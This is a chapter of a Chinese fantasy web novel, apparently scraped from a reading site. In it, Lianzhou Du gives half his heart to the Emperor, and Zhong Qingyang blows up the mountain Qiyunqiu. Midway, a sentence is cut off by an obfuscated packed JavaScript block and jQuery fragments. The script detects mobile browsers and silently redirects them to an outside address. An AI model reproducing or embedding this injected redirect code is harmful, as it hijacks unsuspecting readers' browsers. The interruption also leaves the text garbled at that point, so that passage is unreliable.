209.天崩地裂

作品:《灵官和山鬼

    帝尊右臂撑在腿上,手托腮,状若思考,声音慵懒轻柔,“一半吗?为何留着另一半?”


    “我有私心,想跟最爱的人厮守。给你一半还因为我不想永生都站在高崖上面对缥缈空茫的云海,活得人不像人鬼不像鬼。”


    帝尊笑道:“你现在的处境很不妙。想必山脚下的天心已经告诉你了,杀了我,你就得代替我留在昆仑镇守天地,而给我一半心脏,若在我万万年后油尽灯枯时还没出现下一个天地生人,你还要来此代替我。天地生人的身份就是这样,给你想要的,又限制你极致想要的。我早就熟悉此处,对中极殿那个幻身常抱好奇心,他住在空旷寂静的大殿里,整日面对芙蕖看个不停又有什么意思呢?后来我想,因为我困在此处,他也无法跟着开心。”


    怜州渡捏紧剑,黑眸沉沉,哑声问:“天地如此宁靖,为何要你镇守?”


    “有些秘密不能告诉你,你我是天地之子,一旦离开昆仑整个宇宙都会沸腾躁动,你我的功效就像一味药剂,去安抚祂们,所以,只要你接下这个位置就永远离不开昆仑。”


    “给你一半,你能活多久?”


    “听我说这些,是不是恨起了自己的出身?”


    要说恨出身,怜州渡大概从七岁那年就开始恨了。


    “给你一半之后,你当如何处理眼下的处境?”


    帝尊直起腰,抬“眼”问:“你指什么?”


    “白蜺的死,你必须给青冥真君和南影一个交代。”


    “好说,青阳不是说了吗,他找到白蜺的元神并且温养在一颗心脏里,我略施法术白蜺就能起死回生。”


    “西极陨落的众神?”


    “元神未散,也能救。”


    怜州渡冷笑:“你可真无所不能!”


    两人彼此对视,一个没有正脸,一个神态平静,气氛几乎凝滞,谁也无法看清对手的想法。


    远处云海翻涌,怜州渡再度开口:“天蛩的心脏不起作用?”


    帝尊又接着沉默片刻,才懒懒地问:“可真给?”


    怜州渡左手两指抹过五雷剑身,破旧的剑登时雪亮森寒,一声苍老的声音从剑里发出呼喊:“渡儿,不可,他在哄你,人岂有无心而活的?你把心交给他一定会死,倒不如等他陨落后继承其位,好死不如赖活着,总归是活着的。”


    剑竖在眼前,剑身映着他漆黑的双眼,眼底平静淡漠,像一潭静水。


    五雷老鬼拼命想拉住他:“渡儿,如果你担忧自己被困此山永远不能离开,那就让青冥真君搬过来陪你,你毕生所求不就是他一人,既然他都来陪你了,就赖活着吧,难道你还有什么我不知道的其他心愿?”


    “闭嘴!”


    “早知道当年我就不去百禽了,遇不上你,也就不能叫你降生世间,还是我多事了啊!”


    帝尊在旁仁慈地发笑:“薪尽火传、轮替更迭,你不去百禽还会有别人去,渡儿总归要降世的,这些道理你该懂。”


    五雷老鬼仗着怜州渡撑腰,口气居然硬气起来,对帝尊毫不客气:“老道敬你是帝尊才忍你到现在。既然懂轮换更迭为何还逆天而行,身为万神之首连一点做长者的雅量和气度都没有,逼得后生苦不堪——”


    话未说完,怜州渡右臂骤然收回、下压,寒光一闪,锋利的剑身随着五雷最后的声音没入身体。


    一边看着帝尊的后脑勺,一边剜开胸腔血肉。


    剑刃切割上强壮温暖的心脏,规律的搏动由剑传达至手心。怜州渡咬紧牙关,不肯泄出一点痛苦呻吟,汗水打湿碎发,又虚虚痒痒从下颌滴下,眼底逐渐爬上猩红,望着那个与他相同出身的男人,咽下一口鲜血。


    利刃抽出体外,狠狠插在脚边,扶剑深喘口气,果断决然掏出半颗心脏。


    切割过的心脏像朵盛放的牡丹,躺在他掌心有力跳动,五指收紧,心脏霎时化作一颗剔透纯粹的珠子。


    怜州渡踽踽向前,走到帝尊跟前把珠子放到他手里,一字一句恭贺:“愿帝尊在此孤寒的崖顶活个万古千秋,享无疆寿数,代我好好坐稳此位置。”


    *


    钟青阳从山腰至少滚落千丈,直到抓住一根伸出山壁的老松枝才稳住身体。忽而觉得周身的奇经八脉通通沉重滞涩起来,经脉里流淌着泥沙一般。


    此山被天设下禁制,非天地生人不能靠近,他不信这个邪,从松树上爬下继续往上攀登。一路爬,一路忧心怜州渡碰上帝尊会吃亏。


    毕竟那小子还年轻,玩不过老辣的帝尊,又担心他血气方刚上去就捅死帝尊,不管哪个结果,钟青阳都必须在现场守着怜州渡。


    可变沉的身体非他那顽强的毅力就能扛过去。又抠着石缝爬了漫长一段时间,仓促回望,也只爬了几丈高。


    钟青阳慢慢醒悟,这是修为被抽走变成凡人了?!


    望不见的崖顶被云雾遮挡,通天的崎岖小道简直压的人喘不了气。


    凡人之躯挂在半山腰不能再前进半步,擦掉嘴角流个不住的鲜血,朝苍穹嘶喊一声:“渡儿——”


    虚弱无力的喊声很快引来他想见的人。


    一条清光莹润的小龙从云雾俯冲而来,纤细的躯体紧紧缠住钟青阳,带他迅速往山下飞掠。


    钟青阳搂住小龙,疲惫不堪地问:“你到达顶峰了?”


    “嗯!”


    “见到帝尊了?”


    “嗯!”


    “为何这么快就下来?你们说了什么?帝尊来不来见我们?”


    小龙变回人形,在半空搂住钟青阳的腰带他一起下沉,凌乱的长发和衣袍翻飞不止。


    青丝拂过脸庞挡住视野,钟青阳拂去凌乱碎发,看见一张惨白的脸和毫无神采的双眼。


    “我把心脏挖了半颗给帝尊,他一定能活很久,很久,久到足够我们二人逍遥自在,到那时如果不行,我再……”


    没力气再说下去,怜州渡晕倒在钟青阳怀里。


    钟青阳颤抖摸向他胸膛,玄色的衣裳被血迹濡湿,沾了一手血,又摸向其腕,不禁浑身发寒,他感受不到怜州渡体内奔涌不息的灵气,似乎随心脏转移到另外一个人体内。


    还能不能活?这条晕过去的小龙还能不能活下来。


    脚下一滞,突然踩空,沉重的躯体抱着无知无觉的小龙从万丈高空开始下坠。


    劲风向上托住两人,像两片羽毛在空中打旋、漂浮,掉的越快,身体越沉重,死亡的气息扑面而来,像一头就栽进地狱。


    钟青阳搂紧怜州渡不让他被风吹走,死吧,死了也好,从前无数次准备要与他一起死的,又何惧哉。


    事情好像也算完美解决,帝尊又可以活很久,并且能收拾西极的烂摊子,天下又能恢复平静。


    只是有点对不起师尊,没能为他报仇。


    果然杀死一条小龙,乱了几百年的事都迎刃而解。


    这么死也算轻松快意。


    沈芝最先发现流星坠地似的二人,像一道明亮的弧光,从天际重重砸下来。


    去救貌似来不及了,沈芝也不确定他们是不是需要帮助,犹疑一下,还是化身灰鹤掠去,在二人把地砸出深坑之前捞在翅膀里。


    仔细一瞧,二人都面如死灰。


    沈芝颤颤巍巍望向压顶的齐云丘,帝尊得是什么法力,才半天时间就把这二人给弄死了。


    另一边南影和云摩焰正携手大战天心。


    说是大战,三人并没使出令天地变色的各种本领,无非是各自打下护身屏障,再使出神器去乱戳乱撞。


    南影的斧头从未挥的如此勤快过,斩在天心周围,打碎几块巨石,尽管都克制力道,轰隆隆的动静还是让远处的群山颤动不安。


    云摩焰灯玩的好,居然也能用剑,捻动剑诀,配合南影的斧头,一起攻击守在山前不许人进去的天心,直把齐云丘山脚打的沙尘漫天。


    大玉山弟子往钟青阳嘴里塞满丹药,守在旁边焦躁地等他醒。


    钟青阳被硕大的药


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111780|177893||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    丸卡住嗓眼,愣是被一口气憋的猛坐起来,匆忙拨开几位师兄看孤寥寥丢在一边没人管的怜州渡。


    心中疼痛难抑,把小龙抱在怀里泪流不止。


    钟青阳抚摸他苍白的脸,帝尊用鬼话哄他割掉半边心脏,条件一定与自己有关,再想到大小周天无法运转法力,帝尊应该就用此做了威胁。


    为何会失去法力?这种靠修行得来的东西,为什么帝尊能一手操控,他的权利竟能大到为所欲为。


    石破天惊的一声从远方传来,钟青阳顺着声音看去,齐云丘的一处山体被斧头削掉一块。


    天心脸色大变,从山上收回惊骇的目光,突然性情大变,拽开金色镇天,瞄准打到几乎脱力的南影。


    天心尽心竭力守护此山不许人靠近,是因为帝尊住在上面?


    心脏都给他了,对方还咄咄逼人。


    钟青阳扫过几位师兄师姐,决定把怜州渡交给云山和渺山,两位师姐温柔心善,应该不会大意到把失去半颗心脏的人丢在旁边不管。


    “照顾好他,我去去就来。”


    钟青阳跑到正伸头往这边看的蛇小斧跟前,“此前给你的雷弹,在哪?给我一颗。”


    蛇小斧从乾坤袋拎出滚烫的雷弹,丢地上,“自从带上它,我每天都被烫的睡不好,你要知道,我们蛇的体温一向很低,半夜我都能闻到自己肉烤熟的味道……”


    小斧抱怨的声音戛然而止,他仰慕多年的青冥真君此时竟连一颗雷弹都拿不起来。


    “陵哥,你怎么了?”


    钟青阳深深皱起眉头,硬是把炽热的雷弹搂在怀里。


    灼热的温度隔着烧不坏的衣裳重击他胸口。


    钟青阳终于产生失去法力后的第一次恐慌。


    雷弹被紧紧压在胸口,仙家之物对凡躯的伤害意外激发身体的防御。


    四肢百骸再次轻盈起来,血液里流动着奔腾不息的江河。


    法力好像又回来了!


    钟青阳对身体的骤变虽满心奇怪,也顾不得细想,抓起雷弹连跑带飞往山脚下赶去。


    只要炸掉此山,不怕帝尊不出来。


    天心很快注意到这边的意图,“嗖嗖嗖”射出三箭,沙尘落定,钟青阳脚下被老头打下一道不大不小的法阵,刚朝前迈脚,立即有万千白刃从四周飞来。


    钟青阳尚不能控制刚“回暖”的法力,不敢轻举妄动,灵光一闪,双掌合十,朝大地拍下两掌,五花八门阵在困住自己法阵之上开启。


    两个法阵威势相当,激烈碰撞,霎时消弭在眼前。


    钟青阳一刀劈开齐云丘的护山阵,掠至山脚,甩出雷弹。


    这颗雷弹挑在刀尖,钟青阳又借助龙渊的上古神力才奋力抛出去。


    雷弹比镇天箭飞得还迅疾,飞掠时留下一条浅淡的轨迹,个头虽小,撞击山体的力道却蛮横而决绝,轰隆隆没入齐云丘的山腰。


    天心吃惊地望着身后高山,松一口气,还好,好像只是一颗来历不明的流星而已,过去有多少流星撞击齐云丘,都跟沙子一般糅进山体里了。


    但是,轻松的表情只一瞬。


    齐云丘开始发生变化。


    被雷弹击中的地方,开始向外漾出一圈浅浅的涟漪,远看真的像波纹,轻柔向四周荡开。


    直到震耳欲聋的山崩之声传来,天心看见,山开始崩塌了。


    雷弹笔直射进山体,其抛掷的千钧之力和爆炸产生的摧枯拉朽般的强大力量,使高大、雄奇、坚固的齐云丘从内部开始塌陷。


    不知是大山不堪一击,还是雷弹太强。


    所有人都看着眼前的惊变。


    齐云丘比昆仑所有的山都高,甚至超出目力所及。它的崩塌会引起地动和天灾,也可能是万里之外的海啸。


    天心怒吼一声:“你们在干什么?”


    钟青阳有那么片刻,怀疑自己是不是做的莽撞了,如果天心守护的是宇宙中心,那自己刚才就是炸了这个中心。